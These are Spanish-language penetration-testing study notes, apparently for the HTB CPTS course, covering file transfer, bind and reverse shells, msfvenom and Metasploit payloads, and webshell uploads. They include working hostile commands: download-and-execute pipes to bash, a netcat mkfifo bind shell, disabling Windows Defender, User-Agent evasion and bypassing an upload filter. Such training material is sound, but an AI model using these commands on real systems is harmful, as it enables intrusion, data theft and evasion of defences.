FTP Downloads

A traves del puerto 21 y 20

Pasos:

  • Creamos un FTP Server en el sistema destino usando pyftpdlib
  • Descargamos mediante PowerShell o nos conectamos y descargamos

En el sistema objetivo:

sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21

En nuestro sistema:

(New-Object Net.WebClient).DownloadFile('ftp://IP/ARCHIVO', 'C:\ARCHIVO')

Imagina que no tienes una shell interactiva en el sistema objetivo y no es muy facil usar ftp. Podemos crear un script que automatice el uso de FTP:

Montamos servidor ftp en el objetivo:

sudo python3 -m pyftpdlib --port 21

En nuestro sistema creamos el script:

echo open IP > ftpcommand.txt  
echo USER USER >> ftpcommand.txt  
echo binary >> ftpcommand.txt  
echo GET ARCHIVO >> ftpcommand.txt  
echo bye >> ftpcommand.txt

Ejecutamos en nuestro sistema:

ftp -v -n -s:ftpcommand.txt

Como resultado lo abremos descargado

CPTS

3. Carga De Archivos

Abra veces en las que necesitemos tranferir archivos al sistema destino

Powershell Base64 Encode y Decode Upload

Pasos:

  • Codificamos nuestro archivo
  • Copiamos
  • Pegamos y decodificamos

En nuestro host:

C:\htb> [Convert]::ToBase64String((Get-Content -path "C:\ARCHIVO" -Encoding byte))

Copiamos y pegamos en el sistema destino:

echo BASE64 | base64 -d > ARCHIVO

Powershell Web Upload

Powershell no tiene una funcion nativa para subir archivos pero podemos crear una con Invoke-WebRequest or Invoke-RestMethod

Necesitaremos montar en el destino un servidor web que acepte subidas

En el destino creamos un servidor que acepte subidas:

pip3 install uploadserver
python3 -m uploadserver

En nuestra maquina usamos PSUpload.ps1 Primero lo descargamos:

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Despues lo usamos para subir nuestro archivo

Invoke-FileUpload -Uri http://IP/upload -File ARCHIVO

Powershell Base64 Web Upload

Creamos en el sistema destino un listener

nv -nvlp 8000

Creamos una variable con el contenido que queremos subir en base64 en nuestra maquina

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\ARCHIVO' -Encoding Byte))

Subimos el archivo con un POST

Invoke-WebRequest -Uri http://IP:8000/ -Method POST -Body $b64

Llegara al destino la base64 y lo decodificamos

echo BASE64 | base64 -d -w 0 > hosts

SMB Uploads

Normalmente las empresas no dejan abierto el puerto 445 para conexiones fuera de su red interna. En ese caso podemos usar WebDAV, una extension de HTTP

WebDAV permite al webserver comportarse como un fileserver soportando subida de archivos autorizada

SMB primero intentara conectase por el protocolo SMB pero sino puede intentara por HTTP. En la siguiente captura se ve:

![[Pasted image 20260410232344.png]]

Primero tenemos que configurar un WebDAV server en el destino

sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Despues tratamos de conectarnos al WebDAV con SMB para listar

dir \\IP\DavWWWRoot

DavWWWRoot es una keyword reconocida en Windows Shell que indica que esta corriendo WebDAV

Para subir archivos

copy C:\Users\john\Desktop\SourceCode.zip \\IP\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\IP\sharefolder\

FTP Uploads

Atravves del puerto 20 y 21

Similar a descargarlos

En el sistema destino:

sudo python3 -m pyftpdlib --port 21 --write

En nuestro sistema:

(New-Object Net.WebClient).UploadFile('ftp://IP/ftp-hosts', 'C:\ARCHIVO')

Podemos crear un archivo para automatizarlo como en la descarga:

echo open IP > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\ARCHIVO >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

CPTS

1. Linux File Transfer Methos Intro

CPTS

2. Download Operations

Tenemos acceso a un sistema Linux (NIX04) y tenemos que subir archivos a (Pwnbox) otro sistema Linux

![[Pasted image 20260410234412.png]]

Base64 Encoding / Decodinf Download

Depende del tamaño que queramos transferir. Si es muy largo no podremos

En el sistema remoto miraremos el hash antes de codificarlo y despues lo codificaremos:

md5sum id_rsa
cat ARCHIVO |base64 -w 0;echo

Despues copiaremos este BASE64 lo pegaremos en nuestro sistema, lo decodificaremos y por ultimo miraremos el hash para ver que este integro:

echo -n 'BASE64' | base64 -d > ARCHIVO
md5sum id_rsa

Web Download con wget y curl

Podemos descargar archivos de una web usando estos comandos:

wget https://IP/ARCHIVO -O /tmp/ARCHIVO
curl -o /tmp/ARCHIVO https://IP/ARCHIVO

Fileless Attacks Using Linux

Debido a la forma en la que esta hecho Linux podemos hacerlo de muchas formas dependiendo del archivo que nos descarguemos

wget https://IP/ARCHIVO.sh -O /tmp/ARCHIVO.sh | bash
curl -o /tmp/ARCHIVO.py https://IP/ARCHIVO.py | python3
curl -o /tmp/ARCHIVO.pl https://IP/ARCHIVO.pl | perl

Download with Bash (/dev/tcp)

Habra veces que no tendremos comandos de file transfer conocidos. En estos casos podemos usar la propia naturaleza de bash

Nos conectamos al objetivo por el puerto donde tiene levantado la web, lo descargamos y lo leemos

exec 3<>/dev/tcp/IP/80
echo -e "GET /ARCHIVO HTTP/1.1\n\n">&3
cat <&3

SSH Downloads

Usaremos Secure Copy SCP que pemrite copiar archivos y derectorios entre dos host de forma segura

Primero vamos a levantar SSH si no lo esta ya en el sistema remoto

sudo systemctl enable ssh
sudo systemctl start ssh
netstat -lnpt

Descargamos el archivo usando scp desde nuestro host, podemos crear una cuenta temporal para subir nuestros archivos o usar con la que nos logueamos:

scp USER@IP:/ARCHIVO /RUTA_LOCAL

CPTS

3. Uploads Operations

Como en los metodos de descarga podemos usar uploadserver para crear un servidor que nos permita subir archivos pero ahora hacia nuestro host

Descarmos uploadserver:

sudo python3 -m pip install --user uploadserver

Ahora creamos un certificado autofirmado que deberemos guardar en un archivo fuera de donde tenemos montado el webserver para que nadie pueda acceder a el

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

![[Pasted image 20260411000902.png]]

Creamos el uploadserver:

mkdir webserver && cd webserver
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Desde el host destino subimos el archivo hacia nuestro host:

curl -X POST https://IP/upload -F 'files=@/ARCHIVO1' -F 'files=@/ARCHIVO2' --insecure

Alternativa usando Web File Transfer Method

Creamos nuestro servidor en nuestro host con python, php o ruby:

python3 -m http.server
python2.7 -m SimpleHTTPServer
php -S 0.0.0.0:8000
ruby -run -ehttpd . -p8000

Desde el host comprometido lo descargamos:

wget 192.168.49.128:8000/ARCHIVO

SCP Upload

Para subir un archivo con scp:

scp /ARCHIVO USER@IP:/RUTA/DESTINO/

Podemos crear un usuario temporal o subirlo con las creds del usuario con el que conseguimos acceso

CPTS

1. Download

En los sistemas objetivo podemos encontrar lenguajes como Python, PHP, Perl y Ruby En Windows podemos usar Cscript y Mshta para ejecutar codigo JS o VBScript

Python Descargar

  1. Python2

    python2.7 -c ‘import urllib;urllib.urlretrieve (“https://IP/ARCHIVO”, “ARCHIVO”)’

  2. Python3

    python3 -c ‘import urllib.request;urllib.request.urlretrieve(“https://IP/ARCHIVO”, “ARCHIVO”)’

  3. Fileless

    python3 -c ‘import urllib.request;urllib.request.urlretrieve(“https://IP/ARCHIVO”, “ARCHIVO”).read().decode())’ | bash

PHP Descargar

  1. Con File_get_contents()
	php -r '$file = file_get_contents("https://IP/ARCHIVO"); file_put_contents("ARCHIVO",$file);'
  1. Con Fopen()
php -r 'const BUFFER = 1024; $fremote = fopen("https://IP/ARCHIVO", "rb"); $flocal = fopen("ARCHIVO", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
  1. Fileless
php -r '$lines = @file("https://IP/ARCHIVO"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Ruby Download

ruby -e 'require "net/http"; File.write("ARCHIVO", Net::HTTP.get(URI.parse("https://IP/ARCHIVO")))'

Perl Download

perl -e 'use LWP::Simple; getstore("https://IP/ARCHIVO", "ARCHIVO");'

JS

  1. Crear un archivo wget.js con el siguiente codigo:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); 
WinHttpReq.Send(); 
BinStream = new ActiveXObject("ADODB.Stream"); 
BinStream.Type = 1; 
BinStream.Open(); 
BinStream.Write(WinHttpReq.ResponseBody); 
BinStream.SaveToFile(WScript.Arguments(1));

Despues lo ejecutamos:

cscript.exe /nologo wget.js https://IP/ARCHIVO ARCHIVO

VBScript

  1. Crear un archivo wget.vbs con el siguiente codigo:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", WScript.Arguments.Item(0), False xHttp.Send with bStrm .type = 1 .open .write xHttp.responseBody .savetofile WScript.Arguments.Item(1), 2 end with

Despues lo ejecutamos:

cscript.exe /nologo wget.vbs https://IP/ARCHIVO ARCHIVO

CPTS

2. Upload

Podemos usar como vimos antes el modulo de python uploadserver en el destino para subir un archivo. Este servidor usa metodos HTTP como GET, POST, PUT…

  1. En el destino
python3 -m uploadserver
  1. Desde nuestra maquina
python3 -c 'import requests;requests.post("http://IP:8000/upload",files={"files":open("ARCHIVO","rb")})'

CPTS

1. Netcat Y Nc

Carga

  1. Iniciar un listener netcat
ncat -l -p 8000 --recv-only > ARCHIVO

–recv-only cierra la conexion en cuanto se termine la transferencia

  1. Desde nuestro host lo descargamos
ncat --send-only IP_VICTIMA 8000 < ARCHIVO

o con nc

  1. Iniciar listener en la maquina victima
nc -l -p 8000 > ARCHIVO
  1. En nuestra maquina
nc -q 0 IP_VICTIMA 8000 < ARCHIVO

Descarga

  1. En nuestra maquina atacante ponemos un listener
nc -l -p 443 -q 0 < ARCHIVO
  1. En la maquina objetivo
nc IP_ATACANTE 443 > ARCHIVO

o con netcat

  1. Listener en nuestra maquina atacante
ncat -l -p 443 --send-only < SharpKatz.exe
  1. En la maquina destino
ncat IP_ATACANTE 443 --recv-only > SharpKatz.exe

Sin netcat

  1. Listener normal en nuestra maquina
nc -l -p 443 -q 0 < ARCHIVO

O en la victima

nc -l -p 8000 > ARCHIVO
  1. Descarga desde la victima
cat < /dev/tcp/IP_ATACANTE/443 > ARCHIVO

O desde nuestra maquina

cat < /dev/tcp/IP_OBJETIVO/8000 > ARCHIVO

CPTS

2. Powershell Session Winrm

Abra veces que no nos deje ni por HTTP, SMB, FTP… En este caso usaremos Powershell Remoting (WinRM)

Puertos : 5985 HTTP and 5986 HTTPS

Para acceder a WinRM debemos ser parte del grupo de Remote Management Users o tener permisos explicitos para PowerShell Remoting

En este ejemplo tenemos un usuario Administrator en DC01 que tiene permisos de admin en DATABASE01 y Powershell Remoting habilitado

  1. Confirmar WinRM port 5985 esta abierto en DATABASE01 con Test-NetConnection

Desde DC01

Test-NetConnection -ComputerName DATABASE01 -Port 5985

![[Pasted image 20260411123443.png]]

  1. Crear una Powershell Remoting session hacia DATABASE01
$Session = New-PSSession -ComputerName DATABASE01
  1. Copiar algo desde nuestro host hacia el host remoto
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
  1. Copiar algo desde el host remoto hacia nosotros
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

RDP

Al usar xfreerdp o rdesktop podemos hacer copia y pega normal pero a veces no funciona

En esos casos creamos un carpeta compartida entre sesiones

Rdesktop:

rdesktop IP -d DOMINIO -u USER -p 'PASS' -r disk:linux='/RUTA/COMPARTIDA'

Xfreerdp:

xfreerdp /v:IP /d:DOMINIO /u:USER /p:'PASS' /drive:linux,/RUTA/COMPARTIDA

Obtendremos un directorio \\tsclient\

![[Pasted image 20260411124420.png]]

RDP desde Windows

Podemos usar mstsc.exe

Local Resources > Local devices and resources + More > Seleccionas la carpeta para compartir

![[Pasted image 20260411124718.png]]

Despues le damos introducimos IP, usuario… y le damos a Connect

CPTS

1. Protected Files

Para datos protegidos es imprescindible cifrar el contenido o usar servicios cifrados como SSH, SFTP… Con esto evitamos que un MITM lea los datos

Encriptacion en Windows

Uno de los mas simples es usar Invoke-AESEncryption.ps1

  1. Primero debemos invocar el modulo en el host en el que estemos:
Import-Module .\Invoke-AESEncryption.ps1
  1. Encriptarlo y creara un archivo .aes
Invoke-AESEncryption -Mode Encrypt -Key "PASSWORD" -Path .\RUTA_ARCHIVO
  1. Desencriptarlo
Invoke-AESEncryption -Mode Decrypt -Key "PASSWORD" -Path .\RUTA_ARCHIVO.aes

Encriptacion en Linux

Podemos usar OpenSSL el cual tiene muchos metodos de cifrado como AES256 (OpenSSL man page)

  1. Encriptar
openssl enc -aes256 -iter 100000 -pbkdf2 -in /RUTA_ARCHIVO -out NOMBRE_ARCHIVO.enc
  • enc: modo cifrado
  • -aes256: cifra en con el tipo de cifrado seleccionado (OpenSSL man page)
  • -iter N: numero de iteraciones lo que hace que sea mas dificil a fuerza bruta
  • -pbkdf2: pedira una contraseña de desencriptado por terminal, y con este parametro se modifica la contraseña en una clave criptografica valida para AES. Esto es mucho mas costoso para un atacante
  1. Desencriptar
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in NOMBRE_ARCHIVO.enc -out NOMBRE_aRCHIVO.txt

-d: desencriptar

CPTS

1. Archivos Sobre HTTP S

HTTP/S suelen ser los metodos mas permitidos en los firewalls y se cifran en transito

Python Method

Hemos visto como hacerlo en [[3. Uploads Operations]]

  1. Python2
python -m SimpleHTTPServer 8080
  1. Python3
python3 -m http.server 8080

Luego se usa wget, curl, certutil, navegacion por el browser…

Nginx Method

Se usa en sistemas Apache porque la configuracion es menos complicada y el modulo no entra en conflicto de seguridad con Apache

  1. Crear directorio para manejar subidas de archivos
sudo mkdir -p /var/www/uploads/NOMBRE_DIRECTORIO
  1. Cambiar el propietario a www-data
sudo chown -R www-data:www-data
  1. Crear un archivo de configuracion en la ruta: /etc/nginx/sites-available/upload.conf
server { listen 9001; location /NOMBRE_DIRECTORIO/ { root /var/www/uploads; dav_methods PUT; } }
  1. Crear un enlace simbolico del archivo de configuracion dentro del directorio sites-enabled
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
  1. Iniciar Nginx
sudo systemctl restart nginx.service
  1. Comprobar fallos
tail -2 /var/log/nginx/error.log
Vemos que el puerto 80 ya esta en uso

![[Pasted image 20260606225618.png]]

ss -lnpt | grep 80
Miramos a ver que proceso esta ocupando el puerto y cogemos el PID

![[Pasted image 20260606225723.png]]

ps -ef | grep 2811
Buscamos el proceso concreto y vemos que es "python -m websockify 80"

![[Pasted image 20260606225757.png]]

  1. Eliminamos el archivo de configuracion por defecto de nginx que hace que se conecte por el puerto 80
sudo rm /etc/nginx/sites-enabled/default
  1. Subimos el archivo al WebDAV creado en Nginx
curl -T /RUTA_ARCHIVO http://IP:9001/NOMBRE_DIRECTORIO/ARCHIVO.txt

-T: metodo PUT

  1. Comprobamos que se ha subido
sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt

CPTS

1. Living Off The Land

Pueden ser usados para descargar, subir, ejecuar, leer, escribir y bypassear

LOLBAS

LOLBAS: para buscar los que se pueden usar para:

  • Descargas –> /download
  • Subidas –> /upload

![[Pasted image 20260607091935.png]]

Ejemplo con: CertReq.exe

  1. Abrimos un listener netcat:
sudo nc -nlvp PUERTO
  1. Upload:
certreq.exe -Post -config http://IP:PUERTO/NOMBRE_ARCHIVO c:\RUTA\ARCHIVO
  1. Download:
CertReq -Post -config https://IP:PUERTO/ARCHIVO C:\RUTA\NOMBRE_ARCHIVO NOMBRE\ARCHIVO

Si hay un error con certreq puede que la version que tengamos no tenga el parametro POST. Actualizar: here

GTFOBins

GTFOBins for Linux Binaries: para buscar los que se pueden usar para:

  • Descargas –> +file download
  • Subidas –> +file upload

![[Pasted image 20260607092615.png]]

Ejemplo con: OpenSSL

DESCARGA:

  1. Crear un certificado:
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
  1. Crear un servidor
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /RUTA/ARCHIVO
  1. Descarga desde el otro lado
openssl s_client -connect IP:PUERTO -quiet > ARCHIVO

SUBIDA:

  1. Crear un certificado:
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
  1. Crear un servidor
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem > /RUTA/ARCHIVO
  1. Upload desde el otro lado
openssl s_client -connect IP:PUERTO -quiet < ARCHIVO

Otros Ejemplos

BITSADMIN: Background Intelligent Transfer Service (BITS)

Usado para la descarga de archivos por HTTP y SMB:

HTTP:

  1. Descarga desde CMD:
bitsadmin /transfer wcb /priority foreground http://IP:PUERTO/ARCHIVO C:\RUTA\NOMBRE_ARCHIVO
  1. Descarga desde PS:
Import-Module bitstransfer; Start-BitsTransfer -Source "http://IP:PUERTO/ARCHIVO" -Destination "C:\RUTA\NOMBRE_ARCHIVO"

SMB:

  1. Descarga desde CMD:
bitsadmin /transfer wcb /priority foreground \\IP\share\ARCHIVO C:\RUTA\NOMBRE_ARCHIVO
  1. Descarga desde PS:
Import-Module bitstransferStart-BitsTransfer -Source "\\IP\share\ARCHIVO" -Destination "C:\RUTA\NOMBRE_ARCHIVO"

Usado para la subida HTTP y SMB:*

HTTP:

  1. Subida desde CMD:
bitsadmin /transfer uploadjob /upload /priority foreground C:\RUTA\ARCHIVO http://IP:PUERTO/NOMBRE_ARCHIVO
  1. Subida desde PS:
Import-Module bitstransfer  
Start-BitsTransfer -Source "C:\RUTA\ARCHIVO" -Destination http://IP:PUERTO/NOMBRE_ARCHIVO

SMB:

  1. Subida desde CMD:
bitsadmin /transfer uploadjob /priority foreground C:\RUTA\ARCHIVO \\IP\share\NOMBRE_ARCHIVO
  1. Subida desde PS:
Import-Module bitstransfer  
Start-BitsTransfer -Source "C:\RUTA\ARCHIVO" -Destination "\\IP\share\NOMBRE_ARCHIVO"
CERTUTIL

Es como el sustitutivo a wget

  1. Descarga
certutil.exe -verifyctl -split -f http://IP:PUERTO/ARCHIVO NOMBRE_ARCHIVO

NO HAY METODO DE SUBIDA

CPTS

1. Deteccion Y Evasion

Deteccion

Todo lo que se conecte mediante HTTP cliente/servidor tendra un UserAgent, ya sea mediante Python, Curl…

Las comapañias pueden crear whitelist de UserAgent para solo dejar operar algunos SOs, herramientas legitimas…

Explicacion de un User Agent:

![[Pasted image 20260607100409.png]]

Lista de User Agents existentes: here

Debemos usar User Agents que no parezcan sospechosos para ofuscar mas la actividad

Ejemplos de User Agent potencialmente maliciosos

  1. Usar powershell (Invoke-WebRequest)

![[Pasted image 20260607100954.png]]

  1. Certutil:

![[Pasted image 20260607100923.png]]

  1. Bitsadmin

![[Pasted image 20260607101019.png]]

Evasion

Cambiar el UserAgent

  1. Listar User Agents:
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
  1. Usamos por ejemplo el de Chrome
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
  1. Descargamos
Invoke-WebRequest http://IP/ARCHIVO -UserAgent $UserAgent -OutFile "C:\RUTA\NOMBRE_ARCHIVO"

LOLBAS

Usar LOLBINS en vez de netcat u otras herramientas para no llamar la atencion o porque tengan una blacklist de herramientas que no se pueden usar

Visto en [[1. Living off the land]]

Ejemplo de descarga con GfxDownloadWrapper.exe

GfxDownloadWrapper.exe "http://IP/ARCHIVO" "C:\RUTA\ARCHIVO"

CPTS

1. Comandos De Verificacion

Validacion del shell con ps

ps

![[Pasted image 20260607161636.png]]

Validacion del shell con env

env

![[Pasted image 20260607161711.png]]

CPTS

2. Bind Shell

![[Pasted image 20260608092224.png]]

Le eviamos una shell a un listener que estara en el objetivo

Pasos

  1. Listener en el objetivo
nc -nvlp PUERTO
  1. Nos conectamos desde nuestra maquina atacante
nc -nv IP PUERTO

Ejemplos de bind shell EN EL OBJETIVO

  1. Bash shell por TCP
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l IP PUERTO > /tmp/f
  1. Nos conectamos
nc -nv IP PUERTO

Ejercicio

Desde la maquina objetivo creamos un listener:

![[Pasted image 20260608093843.png]]![[Pasted image 20260608093854.png]]

Desde la atacante nos conectamos: ![[Pasted image 20260608093955.png]]

CPTS

3. Reverse Shell

![[Pasted image 20260608094024.png]]

El objetivo nos enviara una shell a nuestro listener que estara en nuestra maquina atacante

Pasos

  1. Abrimos un listener en nuestra maquina atacante
sudo nc -lvnp 443
  1. Creamos una conexion desde la maquina atacante hasta la maquina objetivo

Pongo el enlace porque no puedo pegar el comando ya que lo detecta como malware el AV

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

  1. Si da error en el host objetivo, desactivamos el AV
Set-MpPreference -DisableRealtimeMonitoring $true

Ejemplo practico

Nos conectamos a la maquina objetivo

![[Pasted image 20260608111701.png]]

Abrimos un listener en nuestra maquina atacante ![[Pasted image 20260608111849.png]]

Lanzamos el cmd como admin y ejecutamos el comando de reverse shell pero da error ![[Pasted image 20260608112519.png]]

Ya podemos ejecutar comandos ![[Pasted image 20260608112612.png]]

CPTS

1. Payloads En MSF

Ejemplo

nmap -sVC -Pn IP

![[Pasted image 20260608113454.png]]

Vamos a centrarnos en SMB 445:

msfconsole -q
search smb

![[Pasted image 20260608113627.png]]

Vemos muchos modulos pero eligiremos: 56 exploit/windows/smb/psexec

use 56
show options
set rhosts IP
set share SHARE
set SMBPass PASS
set SMBUser USERNAME
set LHOST IP
exploit

![[Pasted image 20260608113838.png]]

Hemos obtenido una reverse shell de meterpreter ya que las credenciales son validas y podemos loggearnos con el exploit prefabricado de psexec

Ejemplo practico

Enumeramos el host y vemos un 445 abierto

![[Pasted image 20260608114550.png]]

Vamos a enumerar sus recursos compartidos

![[Pasted image 20260608114817.png]]![[Pasted image 20260608114848.png]]

A parte de los por defecto vemos el ADMIN$. Nos conectaremos mediante psexec ya que tenemos las credenciales y un share al que conectarnos ![[Pasted image 20260608115042.png]]

Ya que tenemos las credenciales probamos a usar psexec para conectarnos ![[Pasted image 20260608115450.png]]![[Pasted image 20260608115759.png]]![[Pasted image 20260608115805.png]]![[Pasted image 20260608115815.png]]![[Pasted image 20260608115823.png]]

Obtenemos el filename ![[Pasted image 20260608120003.png]]

CPTS

2. Creando Payloads Con Msfvenom

Podemos listar todos los payloads de MSFVenom:

msfvenom -l payloads

Diferencia entre payloads stage y stageless

Stage

Se dividen en 2 partes:

  1. Pieza de codigo muy pequeña que se ejecuta primero (se conecta a nosostros, descarga el codigo o payload completo y lo ejecuta)
  2. Payload real

Ejemplo: windows/meterpreter/reverse_tcp

Stageless

Se envia todo el payload junto. Es mas estable, menos problemas con EDR/firewalls…

Ejemplo: windows/x64/meterpreter_reverse_tcp

Diferencia

Esta en el nombre:

  • Stage: meterpreter/reverse_tcp
  • Sategeless: meterpreter_reverse_tcp

Construccion y ejecucion un stageless payload

  1. Creamos el paylaod
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PUERTO -f FORMATO > NOMBRE_ARCHIVO
  1. Lo transferimos al sistema objetivo

![[Pasted image 20260608121438.png]]

  1. Creamos un listener en nuestra maquina atacante
nc -nvlp PUERTO
  1. Ejecutamos en la maquina objetivo y obtenemos el reverse shell

Lo suyo seria encriptarlo y ofuscarlo para que el AV no lo detecte

CPTS

1. Windows Shell

Tipos de Payloads para Windows:

  • DLLs: archivo de libreria usado en SOs Microsoft para proveer codigo compartido y datos que pueden ser usados por varios programas a la vez
  • Batch: scripts de texto basados en DOS usados por administradores de sistemas para realizar multiples tareas desde el commandline, acaban en .bat
  • VBS: lenguaje de programacion liviano y usado como clientside en webservers para paginas dinamicas. Ya esta deshabilitado en muchos webservers pero se suele usar en ataques que requieren de interaccion del usuario como phisings
  • MSI: .MSI es un archivo que sirve una base de datos de instalacion para el Windows Installer. Cuando se instala una aplicacion el instalador mira el .msi para ver entender los componentes requeridos y como encontrarlos
  • Powershell: es un shell enviroment y un lenguaje de scripting basado en .NET

Cada uno tiene sus caracteristicas pero todos son ejecutables en el host

Ponen un ejemplo de eternablue que tiene un payload que te da un meterpreter a traves de psexec como antes

CMD vs Powershell

CMD es mas limitado pero podemos ejecutar cosas si creemos que las politicas pueden afectar a la ejecucion de los scripts u otras acciones

Powershell es mas completo: uso cmdlets, interaccionar con objetos .NET, interaccionar con cloud, uso de alias… Pero es mas ruidoso

Ejemplo practico

Escaneamos el host y vemos un 445 y vemos que es un Windows Server de 2016, puede que le afecten los EternalBlue

![[Pasted image 20260608134322.png]]

Lo probamos con MSF

![[Pasted image 20260608134631.png]] ![[Pasted image 20260608134650.png]]![[Pasted image 20260608134817.png]]

CPTS

2. Infiltrando En Linux Shells

Consideraciones:

  • Que distribucion de Linux esta corriendo
  • Que shell y lenguajes de programacion
  • Que funcion esta sirviendo el sistema para la red
  • Que aplicacion esta hosteando
  • Hay alguna vulnerabilidad para esta

Spawneando una shell interactiva

python -c 'import pty; pty.spawn("/bin/sh")'

Ejemplo practico: ganando acceso a una aplicacion vulnerable

Escaneamos los servicios del host ![[Pasted image 20260608150535.png]]

Vemos que tiene un apache corriendo en el 80 y 443. Si accedemos a la pagina web nos mete en un panel de login con un rConfig version 3.9.6:

![[Pasted image 20260608150652.png]]

Buscamos exploits y vemos uno en ExploitDB: ![[Pasted image 20260608150844.png]]

Lo buscamos en searchsploit: ![[Pasted image 20260608151334.png]]

Podemos probar a ver si existe en MSFConsole: ![[Pasted image 20260608151446.png]]![[Pasted image 20260608151708.png]]![[Pasted image 20260608151720.png]] ![[Pasted image 20260608151925.png]]

CPTS

3. Spawneando Sesiones Interactivas

Dependera de los lenguajes y herramientas disponibles en el sistema. Podemos usar para saber que permisos tenemos:

sudo -l

Python

python -c 'import pty; pty.spawn("/bin/sh")'

/bin/sh o /bin/bash

/bin/sh
/bin/bash 

Perl

perl -e 'exec "/bin/sh";'

Ruby

ruby -e 'exec "/bin/sh"'

Lua

lua -e 'os.execute("/bin/sh")'

AWK

awk 'BEGIN {system("/bin/sh")}'

Find

find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

o

find . -exec /bin/sh \; -quit

Vim

vim -c ':!/bin/sh'

o

vim
:set shell=/bin/sh
:shell

CPTS

1. Laudanum

Webshell: Es una version de shell basada en navegador que podemos usar interactuar con el SO desde la web

Se encuentra una vulnerabilidad que permita subida de archivos y subimos un payload que nos dara capacidad de ejecucion remota de comandos una vez que se ejecute. Algunos webservers estan configurados para borrar uploads cada X tiempo

Laudanum

Es un repositorio de archivos inyectables en varios lenguajes que podemos copiar y modificar para correrlos en la victima:

/usr/share/laudanum

![[Pasted image 20260608154240.png]]

Ejemplo practico

Escaneamos los servicios que corren en el host: ![[Pasted image 20260608154729.png]]

Vemos un IIS y un Apache por los puertos 80 y 8080 respectivamente. Visitamos la pagina web: ![[Pasted image 20260608154607.png]]

Hacemos un fuzzing de directorios pero no encontramos nada: ![[Pasted image 20260608155043.png]]

Hacemos uno de vhosts, primero hay que saber el dominio:

![[Pasted image 20260608155649.png]]

No lo obtenemos, miramos en el codigo fuente: ![[Pasted image 20260608155710.png]]

Lo metemos en /etc/hosts

![[Pasted image 20260608155802.png]]

Encontramos otros vhost:

![[Pasted image 20260608155915.png]]

Lo metemos en /etc/hosts: ![[Pasted image 20260608160031.png]]

Vemos la opcion de subir archivos junto con archivos ASP: ![[Pasted image 20260608160106.png]]

Lo copiamos y modificamos poniendo nuestra IP ![[Pasted image 20260608160519.png]]

Lo subimos: ![[Pasted image 20260608160557.png]]

Vemos que se ha subido con ese nombre por lo que para visitarlo iremos a lo siguiente: ![[Pasted image 20260608160718.png]] ![[Pasted image 20260608160856.png]]

CPTS

2. Antak Webshell (webshell Asp)

Antak webshell es un shell creado ASP creado dentro del proyecto Proyecto Nishang (un conjunto de herramientas PS ofensivas)

Ubicacion: /usr/share/nishang/Antak-WebShell

![[Pasted image 20260609201404.png]]

CARACTERISTICAS:

  • Ejecuta cada comando como un nuevo proceso
  • Permite ejecutar scripts en memoria y codificar los comandos que se envien

Ejemplo practico de Antak Webshell

Creamos una copia y modificamos el archivo:

![[Pasted image 20260609202014.png]]![[Pasted image 20260609202137.png]]

Modificamos /etc/host para que encuentre a status.inlanefreight.local ![[Pasted image 20260609202235.png]]

Subimos el archivo: ![[Pasted image 20260609202315.png]]![[Pasted image 20260609202332.png]]![[Pasted image 20260609202345.png]]

Visitamos el sitio donde se ha subido: ![[Pasted image 20260609202418.png]]![[Pasted image 20260609202427.png]]![[Pasted image 20260609202526.png]]

CPTS

3. Webshell Php

PHP es un lenguaje de programacion de uso general

Un ejemplo de uso PHP es el login de rConfig visto en modulos anteriores: ![[Pasted image 20260609202929.png]]

https://github.com/WhiteWinterWolf/ wwwolf-php-webshell (He tenido que poner un espacio para que no salte el AV)

Ejemplo practico

Credenciales default de rConfig: admin-admin

![[Pasted image 20260609203627.png]]

rConfig permite subir nuevos dispositivos en Device > Vendor > Add Vendor

![[Pasted image 20260609203824.png]]

Copiamos el webshell de php en la ruta actual para subirlo:

![[Pasted image 20260609204132.png]] ![[Pasted image 20260609204550.png]]

Le damos a save pero nos pone invalid file y es porque el servidor solo acepta jpg, gift… ![[Pasted image 20260609204606.png]]

Encendemos el burp para cambiar el Content Type a uno que pueda ser aceptado como “image/gif”: ![[Pasted image 20260609204809.png]]![[Pasted image 20260609204822.png]]

Volvemos a subir el webshell: ![[Pasted image 20260609204845.png]]

Obtenemos la solicitud de envio que estamos haciendo:

